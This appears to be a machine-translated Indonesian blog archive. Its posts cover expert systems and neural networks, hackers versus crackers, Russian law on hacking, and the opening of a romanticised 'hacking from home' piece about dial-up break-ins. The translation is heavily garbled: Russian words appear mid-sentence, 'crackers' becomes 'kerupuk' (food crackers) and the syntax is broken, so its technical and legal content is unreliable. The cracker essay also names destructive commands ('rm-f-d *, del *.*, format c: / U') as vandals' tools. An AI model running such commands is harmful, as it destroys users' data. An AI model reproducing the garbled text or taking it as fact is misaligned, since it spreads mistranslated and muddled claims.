Proses dengan menggunakan contoh dalam pengembangan jaringan saraf.
Ini perbandingan sampel input dengan jawaban yang benar
Satu set contoh (sampel pelatihan) dengan output dikenal (tujuan)
berulang kali memasuki jaringan untuk "mengajar" jaringan
Proses pembelajaran terus-menerus selama perbedaan antara input dan
keluaran sampel untuk sampel pelatihan mencapai nilai yang sesuai
Menggunakan beberapa algoritma untuk belajar jaringan
Yang paling umum adalah algoritma dengan umpan balik. Bila menggunakan algoritma ini
membuat dua lintasan:
* Pertama, sinyal input yang dikirim ke jaringan dan output tetap
* Kemudian menghitung nilai sinyal error sebagai selisih antara aktual dan
nilai-nilai yang diinginkan, yang akan dikirimkan "kembali" melalui jaringan untuk perubahan beban.
______________________________________________________________________________________

V. Keuntungan dan Kerugian
V-1. KEUNTUNGAN SISTEM PAKAR
Keteguhan - sistem pakar jangan lupa, tidak seperti ahli manusia
Reproducibility - dapat membuat jumlah salinan dari sistem pakar, dan
pelatihan ahli baru mengambil banyak waktu dan uang
Jika ada labirin kompleks aturan (misalnya peraturan pajak), maka
sistem pakar dapat "mengurai" maze
Efisiensi - dapat meningkatkan produktivitas dan mengurangi biaya personil
Meskipun sistem pakar yang mahal untuk membangun dan menjaga, mereka murah untuk beroperasi
Pembangunan dan pemeliharaan biaya dapat didistribusikan di antara banyak
pengguna
Harga total mungkin lebih masuk akal dibandingkan dengan mahal dan beberapa
ahli
Keteguhan - Dengan menggunakan sistem pakar transaksi tersebut diproses
dengan cara yang sama. Sistem akan membuat rekomendasi sebanding untuk serupa
situasi.
Dampak terhadap orang -
Efek Baru (informasi terbaru yang berkaitan dengan pengaruh akal sehat)
Efek utama (informasi awal mendominasi akal sehat).
Dokumentasi - sistem pakar dapat mendokumentasikan proses keputusan
Finalitas - sistem pakar dapat melakukan tinjauan terhadap semua transaksi, sebuah
ahli manusia akan dapat meninjau hanya sampel tunggal
Ketepatan waktu - Kesalahan dalam pembangunan dan / atau dapat ditemukan dalam waktu.
Latitude - Dapat dikombinasikan pengetahuan banyak ahli, yang memberikan sistem lebih
lintang kemungkinan besar dapat mencapai satu orang
Mengurangi resiko melakukan bisnis melalui
Urutan keputusan
Dari dokumentasi
Kompetensi
______________________________________________________________________________________

V-2. Kekurangan SISTEM PAKAR
Common Sense - Selain pengetahuan teknis yang luas, seorang ahli manusia
memiliki akal sehat. Masih tidak tahu bagaimana untuk meletakkan akal sehat ke dalam sistem pakar.
Kreativitas - seorang ahli manusia dapat merespon secara kreatif untuk tidak biasa
situasi, sistem pakar tidak bisa.
Pendidikan - seorang ahli manusia secara otomatis disesuaikan dengan perubahan lingkungan, ahli
sistem harus secara eksplisit модифицировать.Рассуждения berdasarkan fakta, dan jaringan saraf
- Metode, yang mungkin termasuk pelatihan.
Pengalaman sensorik - Man-Ahli memiliki berbagai pengalaman indra;
sistem pakar saat ini didasarkan pada memasukkan karakter.
Sistem pakar tidak baik, jika solusinya tidak ada atau di mana masalah terletak di luar
bidang kompetensi mereka.

Hacker atau cracker

2011-03-28T08:30:00.000+07:00

Hacker atau cracker
"Apa yang baik dan apa yang buruk?"

Melihat melalui sejumlah besar artikel (kebanyakan dalam e-jurnal) pada
masalah hacking komputer, perhatian ditarik pada kenyataan bahwa tidak ada
artikel tidak dilakukan adalah perbatasan yang, menurut pendapat kami, jelas memisahkan semua, jadi
entah bagaimana terkait dengan keamanan komputer. Secara umum tampilan komputer
dunia pada kesempatan ini baik murni negatif (hacker - mereka penjahat), atau -
sederhana positif (hacker - "tenaga medis dari hutan"). Sebenarnya, masalah ini
setidaknya ada dua aspek: satu positif, yang lain - negatif
dan di antara mereka adalah batas yang jelas. batas ini memisahkan semua profesional
keamanan informasi, para hacker (hacker) dan kerupuk
(Kerupuk). Keduanya, dalam banyak hal, yang menangani masalah yang sama -
Search for kerentanan dalam sistem komputer dan pelaksanaan serangan terhadap data
system ("hacking"). Namun perbedaan yang paling penting dan mendasar antara hacker dan
kerupuk tujuan mereka mengejar. Tugas utama dari hacker, menjelajahi
sistem komputer, untuk mendeteksi kelemahan (kerentanan) dalam sistem nya
keamanan dalam rangka untuk menginformasikan pengguna dan pengembang sistem untuk
berikutnya penghapusan kerentanan terdeteksi. Tantangan lain hacker
menganalisis keamanan yang ada dari sistem komputer, untuk merumuskan
persyaratan dan kondisi meningkatkan tingkat keamanan. Di sisi lain
tangan, tugas utama kerupuk ini adalah dalam pelaksanaan langsung hacking
sistem dengan tujuan mendapat akses tanpa izin ke media asing - jika
berbicara, untuk pencurian, spoofing, atau untuk menyatakan fakta pencurian. Artinya, cracker, pada
pada intinya, tidak berbeda dari pencuri biasa, hacking apartemen orang lain dan
mencuri barang orang lain. Cracker juga istirahat sistem komputer orang lain dan mencuri
informasi orang lain. Itulah perbedaan mendasar antara mereka yang dapat
panggilan hacker dan cracker: pertama - para peneliti keamanan komputer,
kedua - hanya perampok, pencuri, atau pengacau. Pada hacker yang sama, dalam terminologi
- Apakah, menurut definisi, spesialis. Sebagai bukti ini, kami memberikan
definisi dari kamus Guy L. Steele:

HACKER kata benda. 1. Perorangan yang menikmati belajar rincian
fungsi sistem komputer dan pada pemberdayaan mereka, sebagai lawan
mayoritas pengguna komputer yang lebih memilih untuk hanya tahu
minimum yang diperlukan. 2. Penggila pemrograman, individu yang menerima
kesenangan dari proses pemrograman, daripada berteori tentang hal ini
kesempatan.

Interpretasi dari "hacker" istilah berbeda dari yang diterapkan dalam media
informasi yang, pada kenyataannya, menyebabkan substitusi konsep. Baru-baru ini
Banyak ahli komputer keamanan mulai akurat mengobati
istilah.

Polos motif cracker mengarah pada fakta bahwa 9 dari 10 dari mereka adalah
Dummies yang masuk ke sistem buruk diberikan terutama disebabkan
penggunaan program asing (biasanya program ini diketahui mengeksploitasi). (Dan itu adalah
pandangan dari 10% sebagian besar kerupuk profesional). Seperti profesional - mantan
Hacker telah menjadi jalan melanggar hukum. Mereka, tidak seperti kerupuk - Dummies
menghentikan benar-benar sangat sulit, tetapi karena menunjukkan praktik, tidak
mungkin (misalnya, mengingat persaingan Mitnick dan Shimomura). Jelas bahwa
untuk mencegah kemungkinan gangguan atau menghilangkan konsekuensinya memerlukan
mengundang ahli berkualitas pada keamanan informasi -
hacker profesional.

Namun, akan menjadi tidak adil untuk campuran dalam sekelompok kerupuk, unik penamaan
untuk pencuri dan pengacau. Menurut pendapat kami, semua kerupuk dapat dibagi menjadi tiga
berikut kelas, tergantung pada tujuan yang istirahat-in: Vandal
"Jokers" dan profesional.

Vandal - paling terkenal (sebagian besar berkat virus sehari-hari dan
kreasi dari beberapa wartawan) dan saya harus mengatakan, bagian terkecil
kerupuk. Tujuan utama mereka - untuk hack sistem untuk kehancuran. Ini bisa
disebabkan, amatir tim pertama yang berupa: rm-f-d *, del *.*, format c: / U, dll
dan, kedua, ahli dalam menulis virus atau Trojan horse. Cukup
Tentu, seluruh komputer dunia membenci kerupuk, pengacau sengit
kebencian. Tahap ini biasanya ditandai dengan krakerstva untuk pemula dan kecepatan,
Jika seorang cracker dapat ditingkatkan (sebenarnya cukup membosankan untuk menyadari mereka
keunggulan dari para pengguna berdaya). Kerupuk yang bahkan dengan berlalunya
berlalu waktu atau tahap ini, tetapi semakin meningkatkan ketrampilan mereka
perusakan, selain psikopat sosial, bukan nama.

"Jokers" - yang paling berbahaya kerupuk (tentu saja, tergantung pada apakah
bagaimana jahat mereka lebih suka bercanda), yang tujuan utamanya - diketahui
dicapai oleh sistem komputer hacking dan ditempatkan di sana oleh berbagai efek,
mengungkapkan ketidakpuasan mereka dengan rasa humor. "Jokers" biasanya tidak menyebabkan
substansial kerusakan (kecuali moral). Sampai saat ini, Internet adalah
kelas paling umum kerupuk, biasanya menawarkan hacking web -
server, meninggalkan ada menyebutkan dirinya sendiri. Dengan "Joker" juga bisa disebabkan
pencipta virus, dengan efek visual dan suara yang berbeda (musik, kocok
atau memutar layar, menggambar semua jenis gambar, dll). Semua ini, dalam
Pada dasarnya, setiap pemula kenakalan tidak bersalah, baik - promosi profesional.

Kerupuk - kerupuk profesional, menikmati penghargaan tertinggi dan hormat dalam
krakerskoy lingkungan yang utama tugas - hacking sistem komputer dengan serius
tujuan, apakah pencurian atau substitusi dari informasi yang tersimpan di sana. Secara umum, untuk
Dalam rangka melaksanakan hacking dari sistem, Anda harus melalui tiga tahap:
studi sistem komputer dengan identifikasi kekurangan di dalamnya, pengembangan
perangkat lunak pelaksanaan serangan itu dan langsung pelaksanaannya. Tentu,
seorang profesional sejati dapat mengasumsikan bahwa kerupuk, yang adalah untuk mencapai nya
target melewati semua tiga tahap. Dengan beberapa imajinasi juga dapat dianggap
profesional dari kerupuk, yang diekstrak menggunakan informasi orang ketiga
kerentanan dalam sistem, menulis implementasi software kerentanan ini. Melaksanakan
tahap ketiga, jelas, bisa, pada prinsipnya, setiap menggunakan ciptaan orang lain. Tapi kemudian
apa yang hacker - ini adalah pencurian biasa, jika kita abstrak dari.
subjek pencurian. Sayangnya di sini, di Rusia, tidak begitu sederhana. Di negara di mana
sebagian besar perangkat lunak yang digunakan oleh setiap user,
bajakan adalah, yang dicuri dengan bantuan dari pencuri yang sama, hampir tidak ada
tidak memiliki hak moral "untuk melemparkan batu pada mereka." Tentu saja, hacking komputer
sistem untuk mencuri sama sekali tidak disebut hal yang layak, namun untuk mencela
cracker, hacker hanya bisa mereka yang telah secara sah membeli semua yang digunakan
perangkat lunak.

Hacker Sampai sekarang kita selalu dianggap, kerupuk dengan posisi didistribusikan
sistem, tetapi jangan lupa bahwa kategori terbesar kerupuk
berkaitan dengan hal-hal duniawi yang lebih, yaitu: deproteksi dengan versi komersial
perangkat lunak, manufaktur pendaftaran kunci (kunci pendaftaran) untuk
program shareware, dll Namun dalam konteks tulisan ini adalah tidak disebutkan. Dalam
Akhirnya, kita ingat bahwa secara lebih rinci dengan materi, Anda dapat menemukan
dalam sebuah buku baru dengan "serangan melalui Internet".

Hacker dan Hukum

2011-03-28T08:20:00.003+07:00

Hacker dan Hukum 

Tujuan makalah ini adalah upaya untuk menghilangkan beberapa stereotip tentang 

impunitas lengkap aktivitas hacker berdasarkan arus Rusia 

undang-undang. Dalam menganalisis aktivitas dan mengidentifikasi langkah-langkah yang bertanggung jawab 

penekanan pada pertanggungjawaban pidana, sebagai yang paling ketat dan jelas 

diatur. Tampaknya bahwa melihat lengkap pada langkah-langkah 

Kewajiban tidak layak karena 

banyak fitur mereka dalam setiap kasus. 

Dalam tulisan ini kami mencoba untuk mengklasifikasikan (hukum) 

berbagai kegiatan tentara ribuan hacker Rusia. 

Klasifikasi yang diusulkan, serta ketentuan-ketentuan dasar dari bahan ini adalah 

pendapat pribadi dari penulis, sehingga Anda mungkin tidak memenuhi persyaratan Pasal 

kelengkapan, kelengkapan dan objektivitas. Mungkin beberapa ketentuan yang tidak 

dibantah, jadi penulis akan senang untuk komentar dan kritik yang membangun. 

Untuk dibaca dan presentasi dari kejahatan yang melibatkan penggunaan 

komputer (jaringan mereka) terbagi menjadi mereka ketika informasi komputer 

upaya tujuan utama dan orang-orang di mana komputer dan / atau jaringan berarti 

mencapai tujuan-tujuan lain. 

Dengan demikian, klasifikasi: 

I. 

informasi Komputer adalah untuk menyerang. 

1. Mengedit program. 

Pada akun ini undang-undang domestik berisi sejumlah ketentuan yang menarik, sebagai 

memungkinkan aktivitas tersebut, dan menghukum itu. 

Sesuai dengan Art. 25 Hukum Federasi Rusia "Pada Hak Cipta dan Hak Terkait", orang 

sah memiliki salinan dari sebuah program komputer dapat, tanpa memperoleh 

izin dari penulis atau pemilik lain dari hak eksklusif untuk menggunakan 

kerja dan tanpa membayar royalti tambahan untuk program untuk 

Program komputer atau database perubahan yang dilakukan semata-mata untuk tujuan yang 

operasi pada pengguna untuk melakukan apapun 

tindakan yang terkait dengan operasi dari sebuah program komputer atau database 

sesuai dengan tujuannya, dan juga memperbaiki kesalahan yang jelas, kecuali dinyatakan 

ditetapkan dalam kontrak dengan penulis. 

Sesuai dengan Ayat 3, Pasal. 25, ketentuan Pasal tidak berlaku 

terlalu mengurangi penggunaan normal dari sebuah program komputer atau database 

dan tidak harus wajar merugikan kepentingan sah dari penulis atau lainnya 

pemilik hak eksklusif untuk program komputer atau database. 

Ketentuan Undang-undang ini merupakan duplikasi dalam bidang ini. 15 Hukum Federasi Rusia "Pada Perlindungan Hukum 

program untuk komputer elektronik dan database, sehingga membawanya 

tidak sepenuhnya tepat. Namun, Seni. 15, di samping ini, 

memberikan pemilik yang sah dari program berjudul "untuk mengadaptasi 

program komputer atau database "Dengan" adaptasi., "memahami anggota parlemen 

"Perubahan yang dilakukan semata-mata untuk menjamin 

operasi dari sebuah program komputer atau database teknis yang spesifik 

pengguna atau di bawah kontrol program pengguna tertentu, yang 

tentu saja, memungkinkan interpretasi yang luas dari hukum. 

Di sisi lain, tergantung pada tujuan program editing, seperti 

mungkin kegiatan tindak pidana, seperti Pasal 273 dari Pidana 

Kode ("Penciptaan, penggunaan dan distribusi program jahat 

Komputer ") menetapkan kewajiban untuk" membuat perubahan yang ada 

program secara otomatis menyebabkan kerusakan yang tidak sah, pemblokiran, 

modifikasi atau menyalin informasi. " 

Juga dalam hal ini dapat dianggap melanggar hak cipta, yang mungkin termasuk 

sebagai kejahatan (Pasal 146 KUHP "Pelanggaran Hak Cipta dan Hak Terkait") dan 

sipil kewajiban. 

Dengan demikian ternyata bahwa legislator umumnya memungkinkan mengedit orang lain ' 

program, jika dilakukan dalam batas yang wajar. Sayangnya, tidak memadai 

undang-undang dan kesempatan untuk interpretasinya, mengakuinya ambigu 

pemahaman tentang apa yang sebenarnya memperluas daftar alasan (dan pembenaran) 

mengedit orang lain program. 

2. Membuat "anak" dari program, ditambah dengan yang ada 

a) mengubah source code 

b) tanpa perubahan tersebut. 

Tampaknya kegiatan ini dapat dikenakan Art. 273 KUHP, 

sebagai Ini menetapkan hukuman untuk "Membuat sebuah program komputer yang dikenal ... 

menyebabkan kerusakan yang tidak sah, pemblokiran, modifikasi atau 

menyalin informasi, pelanggaran komputer, sistem komputer atau jaringan. " 

Artikel ini diposting pada hackzone. © Anton Sergo, 1999 

Teks artikel tidak menentukan informasi lokasi terkena 

efek, sehingga dapat diasumsikan bahwa artikel tersebut membentuk kewajiban 

Memodifikasi program sebagai media atau memori komputer. Tentu saja, 

pilihan kedua hukum lebih sulit untuk membuktikan, tetapi bukan tidak mungkin. 

Penerapan opsi pertama yang penuh dengan sebagai pelanggaran hak cipta, yang 

melibatkan penerapan peraturan terkait hukum pidana atau perdata. 

3. Decompiling program. 

Decompiling program pada hukum domestik tidak 

melanggar hukum jika dilakukan sesuai dengan ayat 2 of Art. 25 dari Undang-Undang 

Federasi Rusia "Pada Hak Cipta dan Hak Terkait". Menurut dia, seseorang yang secara sah 

memiliki salinan program komputer, tanpa persetujuan dari penulis atau lainnya 

pemilik hak eksklusif dan tanpa pembayaran kompensasi tambahan 

mereproduksi dan mengubah kode obyek ke kode sumber (mendekompilasi 

program komputer), atau menginstruksikan orang lain untuk melaksanakan tindakan, jika mereka 

diperlukan untuk mencapai interoperabilitas dikembangkan secara independen 

bahwa seseorang program komputer dengan program lain yang dapat 

berinteraksi dengan program decompiled (dan juga untuk mempelajari coding 

dan struktur program [Undang-undang tentang Perlindungan Hukum Program Komputer dan Database]), dan 

kondisi berikut: 

1) informasi yang diperlukan untuk mencapai interoperabilitas, sebelumnya tidak 

memiliki akses ke sumber-sumber lain; 

2) tindakan ini dilakukan hanya mengenai bagian-bagian decompiled 

program komputer yang diperlukan untuk mencapai interoperabilitas; 

3) informasi yang diperoleh dekompilasi hanya dapat digunakan 

untuk mencapai interoperabilitas program independen yang dikembangkan untuk 

Komputer dengan program lain yang tidak dapat dialihkan kepada orang lain, kecuali 

jika diperlukan untuk mencapai interoperabilitas 

independen dibuat program komputer dengan program lain dan tidak bisa 

digunakan untuk mengembangkan program komputer untuk tipe dasarnya sebanding 

dengan program komputer decompiled, atau lainnya 

tindakan yang melanggar hukum hak cipta. 

Dengan demikian, jelas bahwa decompiling program ini tidak melanggar hukum, 

jika dilakukan dalam rangka mencapai program interoperabilitas untuk 

studi pengkodean dan struktur program, atau dibenarkan oleh tujuan-tujuan ini. 

4. Menyalin perangkat lunak. 

Undang-undang hanya memberikan satu kasus di mana tidak menyalin perangkat lunak 

melanggar hukum. Sesuai dengan ayat 1 of Art. 25 Hukum Federasi Rusia "Pada Hak Cipta 

Hukum dan Hak Terkait ", orang yang secara sah memiliki sebuah salinan program komputer 

atau database tanpa izin dari penulis atau pemilik lain 

hak eksklusif untuk menggunakan produk tanpa harus membayar tambahan 

bunga untuk membuat salinan dari sebuah program komputer atau database dengan ketentuan bahwa 

salinan ini ditujukan semata-mata untuk keperluan arsip dan untuk penggantian sah 

diperoleh salin saat program asli komputer atau database 

data hilang, rusak atau tidak dapat digunakan. Salinan 

program komputer atau database akan hancur jika kepemilikan 

salinan program komputer atau database berhenti menjadi sah. 

Sebagaimana dinyatakan dalam Bagian 3 dari artikel yang sama, penerapan ketentuan-ketentuannya tidak harus berlaku 

terlalu mengurangi penggunaan normal dari sebuah program komputer atau database 

dan tidak harus wajar merugikan kepentingan sah dari penulis atau lainnya 

pemilik hak eksklusif untuk program komputer atau database. 

Dengan demikian, tampak bahwa salinan yang sah dari software ini cukup 

mungkin di hadapan sebuah pemikiran hukum, sementara, tentu saja, 

diinginkan keuntungan "pemilik sah dari program tersebut." 

5. Gunakan atau distribusi perangkat lunak ilegal 

dan mereka operator. 

Melanggar hukum dalam ayat ini mengacu pada program yang 

terfokus pada kerusakan yang tidak sah, pemblokiran, modifikasi atau 

menyalin informasi, gangguan komputer, sistem komputer atau jaringan. Untuk 

"Penggunaan atau penyebaran program atau operator mesin dengan seperti 

Program "membentuk kewajiban pidana dalam bidang ini. 273 KUHP. 

Tergantung pada sifat dari cedera dapat menyerang sipil 

tanggung jawab. 

Pada bagian ini, tidak ada pertanyaan tentang "penggunaan tidak sah" atau 

"Ilegal distribusi" perangkat lunak terkait 

pelanggaran hak cipta karena ini merupakan kawasan terpisah, pertimbangan 

patut dipertimbangkan terpisah. 

6. Kegiatan dalam jaringan komputer. 

Modern hukum Rusia sipil tidak mengatur kegiatan hampir 

berhubungan dengan jaringan komputer di Rusia, tidak mengatur hubungan antara perusahaan - 

penyedia dan klien, aturan perilaku dalam jaringan dan ruang lingkup yang diterimanya. 

Namun, hukum pidana menyediakan dua kasus ofensif 

jawab atas tindakan yang berkaitan dengan jaringan komputer: 

a) Pasal 272 KUHP (akses ilegal terhadap informasi komputer) 

menetapkan hukuman untuk "akses tanpa izin ke dilindungi oleh hukum 

informasi komputer, informasi yaitu pada media penyimpanan, di 

elektronik komputer (PC), sistem komputer atau jaringan, jika tindakan 

mengakibatkan kerusakan, modifikasi memblokir, atau menyalin informasi, 

rusak komputer, sistem komputer atau jaringan. " 

b) Pasal 274 KUHP (melanggar aturan operasi komputer, sistem komputer atau jaringan) 

menyediakan jawab atas "pelanggaran aturan operasi komputer, sistem komputer 

atau badan jaringan memiliki akses ke komputer, sistem komputer atau jaringan, sehingga 

kehancuran, menghalangi atau modifikasi informasi komputer yang dilindungi oleh hukum, jika 

tindakan ini telah menyebabkan kerugian besar "Pengertian tentang" arti "dari bahaya. adalah 

estimasi dan dalam setiap kasus ditentukan secara individual. 

Pada bagian ini, cukup sering disebut beberapa bentuk pelanggaran 

hak cipta. Apa saja hukuman yang dapat diterapkan bagi si pelanggar? 

Pertama, pertanggungjawaban pidana - seni. 146 (Pelanggaran hak cipta dan terkait 

hak) KUHP. 

Kedua, administrasi, - Art. 150,4 (penjualan, persewaan dan ilegal lainnya 

penggunaan salinan karya atau fonogram) dari Kode RSFSR pada 

Kode Administratif (artikel ini berlaku untuk program komputer, 

sebagai Pasal 7 UU "Pada Hak Cipta dan Hak Terkait", program komputer 

dipersamakan dengan karya sastra dengan segala akibatnya). 

Ketiga, kewajiban pihak ketiga. Secara khusus, yang melanggar 

hak cipta sesuai dengan Pasal 18 dari UU tentang Perlindungan Hukum Program Komputer dan 

DB, penulis program dan lainnya pemegang hak berhak untuk menuntut: 

* Pengakuan hak-hak; 

* Mengembalikan situasi yang ada sebelum pelanggaran hak dan untuk berhenti 

tindakan yang melanggar hukum atau mengancam untuk melanggar itu; 

* Kompensasi untuk kerusakan dalam jumlah yang meliputi jumlah pendapatan 

sah yang diperoleh pelanggarnya. Pasal 15 Hukum Perdata, 

menentukan bahwa kerugian berarti: a) beban bahwa orang yang tepat 

dilanggar, atau harus dilakukan untuk mengembalikan yang rusak 

kanan dan b) kehilangan atau kerusakan atas harta benda (kerusakan nyata), c) tidak diterima 

pendapatan bahwa orang ini akan menerima dalam kondisi normal omset sipil, 

jika kanannya tidak melanggar (keuntungan yang hilang). Jika orang yang melanggar 

biasanya mendapatkan penghasilan karena ini, orang yang benar adalah melanggar, hak 

untuk mengklaim, bersama dengan kerusakan lain untuk kehilangan keuntungan yang nilainya tidak 

kurang dari pendapatan tersebut; 

* Pelanggar membayar kompensasi ditentukan pada kebijaksanaan pengadilan arbitrase 

atau arbitrase jumlah 5000 kali lipat untuk mengatur 50000 kali lipat 

Hukum upah minimum bulanan dalam kasus-kasus pelanggaran 

keuntungan, bukan kerusakan. Norma ini terkandung dalam Undang-Undang tersebut "Pada 

Perlindungan Hukum Perangkat Lunak dan Database ", 

melainkan harus diterapkan Art. 49 Hukum "Pada Hak Cipta dan Terkait 

Hak ", sehingga benar menyatakan bahwa penulis program (dan pemegang hak-hak lainnya) 

berhak untuk menuntut ganti rugi sebesar 10 sampai 50.000 kali minimum 

remunerasi ditentukan pada kebijaksanaan sidang pengadilan atau arbitrase, bukan 

kerusakan atau koleksi penghasilan; 

* Mengambil lainnya yang ditetapkan oleh tindakan legislatif tindakan yang berkaitan dengan perlindungan terhadap mereka 

hak (bukan daftar yang lengkap diberikan dalam Pasal 12 Hukum Perdata). 

"Selain kerusakan, koleksi pendapatan atau kompensasi sebagai jumlah tetap 

pengadilan atau tribunal untuk pelanggaran hak cipta atau hak terkait harus membayar denda 

10 persen dari jumlah yang diberikan oleh pengadilan memenangkan penggugat - aturan seperti di 

sebagai kemungkinan hukuman yang terkandung dalam Undang-Undang "Pada Perlindungan Hukum Perangkat Lunak 

komputer dan database dan dalam bentuk wajib - dalam Undang-Undang "Pada Hak Cipta 

Hak dan Hak Istimewa ". 

salinan ilegal dari perangkat lunak yang tunduk pada kena denda wajib 

keputusan pengadilan. salinan sitaan dimusnahkan atau diserahkan kepada pemilik 

hak cipta atau hak terkait, atas permintaannya. Sebagai aturan, sementara juga menyita 

bahan dan peralatan yang digunakan untuk produksi dan reproduksi ilegal 

salinan perangkat lunak 

II. Komputer dan / atau jaringan merupakan sarana untuk mencapai tujuan. 

Semua di atas dapat dianggap dengan tingkat tertentu persyaratan dianggap sah hanya jika 

asalkan komputer (komputer jaringan informasi) digunakan sebagai tujuan akhir 

kegiatan, dan jika alat ini dilihat sebagai sarana (misalnya, 

keliru ke rekening bank) maka ada kemungkinan kewajiban untuk lainnya 

KUHP artikel. Sebagai contoh, jika ada pencurian uang tunai (st.158 CCRF) dengan 

melanggar aturan operasi jaringan (st.274 KUHP), pertanggungjawaban pidana 

mungkin untuk beberapa pelanggaran. 

Tanpa mengklaim untuk menjadi daftar lengkap dari tindakan ilegal yang mungkin 

yang dilakukan dengan sebuah komputer dan / atau jaringan, di sini adalah daftar pasal-pasal KUHP 

Rusia di mana mereka bisa masuk: 

* Pasal 129. Fitnah (penyebaran informasi palsu, melecehkan kehormatan dan 

martabat orang lain atau merusak reputasinya). 

* Pasal 130. Penghinaan (kehormatan dan martabat orang lain dalam 

cara pantas). 

* Pasal 137. Pelanggaran privasi (koleksi ilegal atau 

penyebaran informasi tentang kehidupan pribadi individu yang membentuk pribadi atau 

rahasia keluarga, tanpa persetujuannya atau penyebaran informasi ini dalam masyarakat 

pernyataan kerja, publik dilakukan, atau media 

informasi, jika tindakan ini merupakan komitmen untuk bayaran atau pribadi lainnya 

bunga dan kerugian yang disebabkan hak dan kepentingan sah warga negara). 

* Pasal 138. Pelanggaran kerahasiaan korespondensi, percakapan telepon, pos, 

telegraf atau komunikasi lainnya. 

* Pasal 146. Pelanggaran Hak Cipta dan Hak Terkait (gunakan fasilitas ilegal 

hak cipta atau hak terkait, serta atribusi dari penulis, jika tindakan 

menyebabkan kerusakan besar). 

* Pasal 147. Pelanggaran dan hak paten (penggunaan ilegal 

penemuan, utilitas model atau desain industri, pengungkapan tanpa persetujuan 

penulis atau pemohon esensi dari model, penemuan utilitas atau industri 

sampel sebelum publikasi resmi informasi tentang mereka, tugas penulisan atau 

dipaksa untuk co-penulis, jika tindakan ini telah menyebabkan kerusakan besar). 

* Pasal 158. Pencurian (pencurian rahasia milik orang lain). 

* Pasal 159. Penipuan (mencuri milik orang lain atau perolehan hak 

lain properti dengan penipuan atau penyalahgunaan kepercayaan). 

* Pasal 163. Pemerasan (persyaratan untuk mengalihkan aktiva lain atau hak 

properti atau melakukan tindakan lain alam material di bawah ancaman 

penggunaan kekerasan atau penghancuran atau kerusakan harta benda orang lain, serta dalam 

risiko penyebaran informasi, memfitnah korban atau keluarganya atau 

informasi lain yang dapat menyebabkan kerugian besar untuk hak atau sah 

kepentingan korban atau keluarganya). 

* Pasal 165. Menyebabkan kerusakan atas harta benda oleh penipuan atau penyalahgunaan 

kepercayaan. 

* Pasal 167. Disengaja kehancuran atau kerusakan atas harta benda (jika tindakan seperti 

menimbulkan kerusakan signifikan). 

* Pasal 168. Penghancuran atau kerusakan properti akibat kelalaian (secara besar 

ukuran). 

* Pasal 182. Sengaja palsu iklan (penggunaan iklan yang menyesatkan 

informasi tentang barang, pekerjaan atau jasa, serta pabrik mereka 

(Pelaku, penjual), berkomitmen untuk kepentingan egois dan 

menyebabkan kerusakan signifikan). 

* Pasal 183. Melanggar hukum penerimaan dan pengungkapan informasi merupakan komersial 

atau perbankan rahasia (pengumpulan informasi merupakan suatu komersial atau perbankan 

rahasia oleh pencurian dokumen, penyuapan atau ancaman, maupun ilegal lainnya 

cara pengungkapan atau penyalahgunaan informasi ini). 

Dengan demikian, tampak bahwa, misalnya, jika Anda telah berkomitmen hanya untuk "melanggar hukum 

akses ke informasi komputer ", ini bertanggung jawab untuk st.272 KUHP. 

Jika menggunakan komputer harus "melanggar kerahasiaan korespondensi, 

percakapan telepon, pos, telegraf atau komunikasi lain, diasumsikan 

tanggung jawab untuk st.138 KUHP. Tetapi jika pelanggaran "dari kerahasiaan korespondensi, telepon 

percakapan, pos, telegraf atau komunikasi lainnya "dilakukan dengan 

"Akses tanpa izin ke komputer informasi", mungkin ada kewajiban 

gabungan tindakan. 

Mengingat berbagai aktivitas hacking dalam hubungannya dengan 

undang-undang menunjukkan backlog yang kuat dan ketidaksempurnaan modern 

sistem hukum. Namun demikian, jelas bahwa hukum Rusia berada pada tahap sekarang 

memungkinkan Anda untuk membawa ke pengadilan (termasuk pidana) untuk tindakan paling berbahaya 

di daerah ini. 

Saya juga ingin untuk dicatat bahwa jika penuntutan Standar 

KUHP harus dilakukan untuk mekanisme kerja lebih keras pidana 

akuntabilitas, ditambah dengan keinginan dan semangat 

penegakan hukum, pemaparan terhadap tanggung jawab perdata 

bukan keinginan setiap orang yang hak dilanggar. Namun, mekanisme tarik-menarik 

proses pidana juga dapat beroperasi sangat efisien dalam kehadiran 

tertentu tekanan untuk pihak yang dirugikan. 

Dengan demikian, tampak bahwa informasi umum tentang keadaan saat ini undang-undang 

diberikan, tetapi apa yang harus dilakukan dengan hukum: untuk menghormati, untuk menghindari atau jeda untuk membiarkan semua orang 

sendiri harus memutuskan untuk dirinya sendiri, tapi ingat bahwa bahkan "para penipu besar abad kedua puluh," Bender selalu 

dihormati oleh KUHP!

Hacking di rumah

2011-03-28T08:16:00.000+07:00

- Bagaimana nice - Ostap berkata sambil berpikir, - untuk bekerja dengan jutawan hukum dalam keadaan borjuis terorganisir dengan tradisi lama kapitalisnya. Ada seorang jutawan - tokoh populer. Alamat diketahui. Apakah Anda akan melihatnya, dan sudah di depan mengambil uang. Itu mungkin bertanya? Si pria pria masyarakat membuat usaha kecil. Hanya saja jangan menembak kandil, terlalu banyak! Dan kami memiliki ... oh my god! .. Kita semua tersembunyi. Semua bawah tanah.

Ilya Ilf dan Petrov. The Golden Calf.

Nah, sekarang kita harus yang paling penting (seperti banyak yang percaya). Anda menghidupkan komputer Anda dalam beberapa saat, itu dimuat, Anda menekan beberapa tombol pada keyboard mengetikkan nomor telepon, dan setelah dua atau tiga bip terdengar sinyal koneksi lama ditunggu-tunggu. Pengakuan - Hal ini baik, tetapi karena anda memerlukan sesuatu yang lebih.

Anda berulang kali tekan "enter" dan Anda meminta nama. Anda memasukkan nama - tentu saja, bukan anaknya, tapi lain seseorang. Kemudian jari-jari Anda dengan lembut berbisik keyboard Anda rahasia berharga, dan muncul di layar kain di tanah.

Menu! Pilihan! Berapa banyak kemungkinan! File yang Anda dapat membaca dan belajar, program yang dapat dijalankan, game yang Anda dapat bermain. Anda menjalankan melalui direktori, terpesona menonton kaleidoskop mereka. Jadi banyak hal, tapi Anda masih dapat terhubung ke komputer lain, akses ke banyak file rahasia lain! Anda tersenyum, karena mulai menyadari:

setiap break-in, bahkan yang paling signifikan, yang mengarah ke hack baru, komputer baru, penelitian dan penemuan baru.

kembali ke realita

Istilah "hacking di rumah" tidak cukup akurat. Hari ini, hacker kebanyakan tidak terlibat dalam pembobolan di rumah mereka, takut ID query, perangkat pelacakan, perangkap dan agen-agen federal. Dengan "hacking di rumah," Maksudku fenomena koneksi dial-up melalui mana Anda dapat berkomunikasi dengan seluruh dunia tanpa meninggalkan rumah.

Siapa yang berhubungan

